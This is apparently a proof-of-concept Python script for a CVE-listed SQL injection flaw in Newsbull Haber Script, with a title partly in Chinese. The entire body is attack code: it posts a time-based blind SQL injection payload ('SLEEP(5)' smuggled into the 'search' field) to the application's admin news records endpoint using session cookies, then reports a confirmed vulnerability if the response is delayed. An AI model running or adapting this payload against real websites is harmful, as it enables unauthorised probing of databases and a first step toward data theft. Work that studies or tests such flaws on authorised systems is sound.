CVE-2019-25699: Newsbull Haber Script SQL注入漏洞

import requests # Target URL (example) target = "http://example.com/admin/news/records" # Authentication cookies (required as per vulnerability description) cookies = { "PHPSESSID": "valid_session_id_here", "security_level": "low" } # Payload for time-based blind SQL injection # This payload attempts to delay the response by 5 seconds if the condition is true injection_payload = { "search": "test' AND (SELECT SLEEP(5))-- " } try: print("Sending malicious request to check for SQL injection...") response = requests.post(target, data=injection_payload, cookies=cookies) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability Confirmed: Time-based SQL Injection successful.") else: print("[-] Response time normal. Injection might have failed or patched.") except Exception as e: print(f"[Error] An exception occurred: {e}")